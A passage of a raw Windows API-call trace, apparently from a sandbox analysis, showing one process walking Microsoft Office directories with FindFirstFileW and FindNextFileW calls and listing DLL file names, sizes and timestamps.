(HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0233.680] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Help\\1049\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeff31e88, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeff31e88, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a68 [0233.681] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeff31e88, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeff31e88, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0233.681] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeff31e88, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeff580e7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5240, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1 [0233.681] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeff31e88, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeff580e7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5240, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 0 [0233.681] FindClose (in: hFindFile=0x33e4a68 | out: hFindFile=0x33e4a68) returned 1 [0233.681] GetProcessHeap () returned 0xc10000 [0233.682] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0233.682] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefcf5b24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefcf5b24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefcf5b24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="2052", cAlternateFileName="")) returned 1 [0233.682] GetProcessHeap () returned 0xc10000 [0233.682] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0233.682] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Help\\2052\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefcf5b24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefcf5b24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefcf5b24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0233.682] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefcf5b24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefcf5b24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefcf5b24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0233.682] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xefcf5b24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefcf5b24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd42039, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1 [0233.682] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xefcf5b24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefcf5b24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd42039, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 0 [0233.682] FindClose (in: hFindFile=0x33e4da8 | out: hFindFile=0x33e4da8) returned 1 [0233.683] GetProcessHeap () returned 0xc10000 [0233.683] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0233.683] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd68243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd68243, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd68243, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="3082", cAlternateFileName="")) returned 1 [0233.683] GetProcessHeap () returned 0xc10000 [0233.683] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0233.683] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Help\\3082\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd68243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd68243, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd68243, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4be8 [0233.683] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd68243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd68243, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd68243, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0233.684] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xefd68243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd68243, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd8e49f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x56b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1 [0233.684] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xefd68243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd68243, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd8e49f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x56b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 0 [0233.684] FindClose (in: hFindFile=0x33e4be8 | out: hFindFile=0x33e4be8) returned 1 [0233.684] GetProcessHeap () returned 0xc10000 [0233.684] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0233.684] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd68243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd68243, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd68243, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="3082", cAlternateFileName="")) returned 0 [0233.684] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0233.684] GetProcessHeap () returned 0xc10000 [0233.684] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0233.684] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc26f8376, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x28577965, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x28577965, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE16", cAlternateFileName="")) returned 1 [0233.684] GetProcessHeap () returned 0xc10000 [0233.684] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0233.684] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc26f8376, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x28577965, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x28577965, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48a8 [0233.686] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc26f8376, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x28577965, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x28577965, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0233.689] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd4512fb5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd4512fb5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf2ebae3b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0233.689] GetProcessHeap () returned 0xc10000 [0233.689] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0233.689] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\1033\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd4512fb5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd4512fb5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf2ebae3b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a28 [0233.690] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd4512fb5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd4512fb5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf2ebae3b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0233.690] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd4512fb5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd4512fb5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd48340d8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x175660, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.DLL", cAlternateFileName="")) returned 1 [0233.690] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf2ebae3b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf2ebae3b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf2f2d53e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xee60, dwReserved0=0x0, dwReserved1=0x0, cFileName="msointl30.dll", cAlternateFileName="MSOINT~1.DLL")) returned 1 [0233.690] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf2ebae3b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf2ebae3b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf2f2d53e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xee60, dwReserved0=0x0, dwReserved1=0x0, cFileName="msointl30.dll", cAlternateFileName="MSOINT~1.DLL")) returned 0 [0233.690] FindClose (in: hFindFile=0x33e4a28 | out: hFindFile=0x33e4a28) returned 1 [0233.690] GetProcessHeap () returned 0xc10000 [0233.690] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0233.690] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf63ed72c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf63ed72c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6a7bf80, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="APDEA0~1.DLL")) returned 1 [0233.691] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6dea551, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6dea551, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6dea551, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="api-ms-win-core-file-l2-1-0.dll", cAlternateFileName="APC7B0~1.DLL")) returned 1 [0233.691] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6d76e38, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6d76e38, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6d76e38, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x52c0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="api-ms-win-core-localization-l1-2-0.dll", cAlternateFileName="AP6221~1.DLL")) returned 1 [0233.691] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc5fa5d2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc5fa5d2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc5fa5d2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="api-ms-win-core-processthreads-l1-1-1.dll", cAlternateFileName="AP750A~1.DLL")) returned 1 [0233.691] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1755c61, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1755c61, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf17ee5c3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="api-ms-win-core-synch-l1-2-0.dll", cAlternateFileName="API-MS~2.DLL")) returned 1 [0233.691] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf75a8fbb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf75a8fbb, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf75cf220, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="api-ms-win-core-timezone-l1-1-0.dll", cAlternateFileName="AP7902~1.DLL")) returned 1 [0233.691] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4266542, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4266542, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf428c77b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="api-ms-win-core-xstate-l2-1-0.dll", cAlternateFileName="API-MS~4.DLL")) returned 1 [0233.691] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfcc62b13, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfcc62b13, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfcc62b13, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="api-ms-win-crt-conio-l1-1-0.dll", cAlternateFileName="AP5C76~1.DLL")) returned 1 [0233.691] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf80fc2c4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80fc2c4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf81bae82, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x58c0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="api-ms-win-crt-convert-l1-1-0.dll", cAlternateFileName="APFD9C~1.DLL")) returned 1 [0233.692] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf21ea38b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf21ea38b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf22105da, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="api-ms-win-crt-environment-l1-1-0.dll", cAlternateFileName="API-MS~3.DLL")) returned 1 [0233.692] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1329a43, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1329a43, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf134fca5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x50c0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="api-ms-win-crt-filesystem-l1-1-0.dll", cAlternateFileName="API-MS~1.DLL")) returned 1 [0233.692] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf44c8b33, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf44c8b33, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf44c8b33, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="api-ms-win-crt-heap-l1-1-0.dll", cAlternateFileName="AP23C9~1.DLL")) returned 1 [0233.692] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf8574958, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf8574958, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf85e70a6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="api-ms-win-crt-locale-l1-1-0.dll", cAlternateFileName="APCB40~1.DLL")) returned 1 [0233.692] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf480feb5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf480feb5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf483611a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x72c0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="api-ms-win-crt-math-l1-1-0.dll", cAlternateFileName="APAE51~1.DLL")) returned 1 [0233.692] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf89c6ded, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf89c6ded, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf969787e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x68c0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="api-ms-win-crt-multibyte-l1-1-0.dll", cAlternateFileName="AP972F~1.DLL")) returned 1 [0233.692] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x68b32cb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x68b32cb, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x68b32cb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11ec0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="api-ms-win-crt-private-l1-1-0.dll", cAlternateFileName="AP7D9E~1.DLL")) returned 1 [0233.692] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf81e1182, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf81e1182, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9a04f26, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="api-ms-win-crt-process-l1-1-0.dll", cAlternateFileName="APFCAD~1.DLL")) returned 1 [0233.693] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: 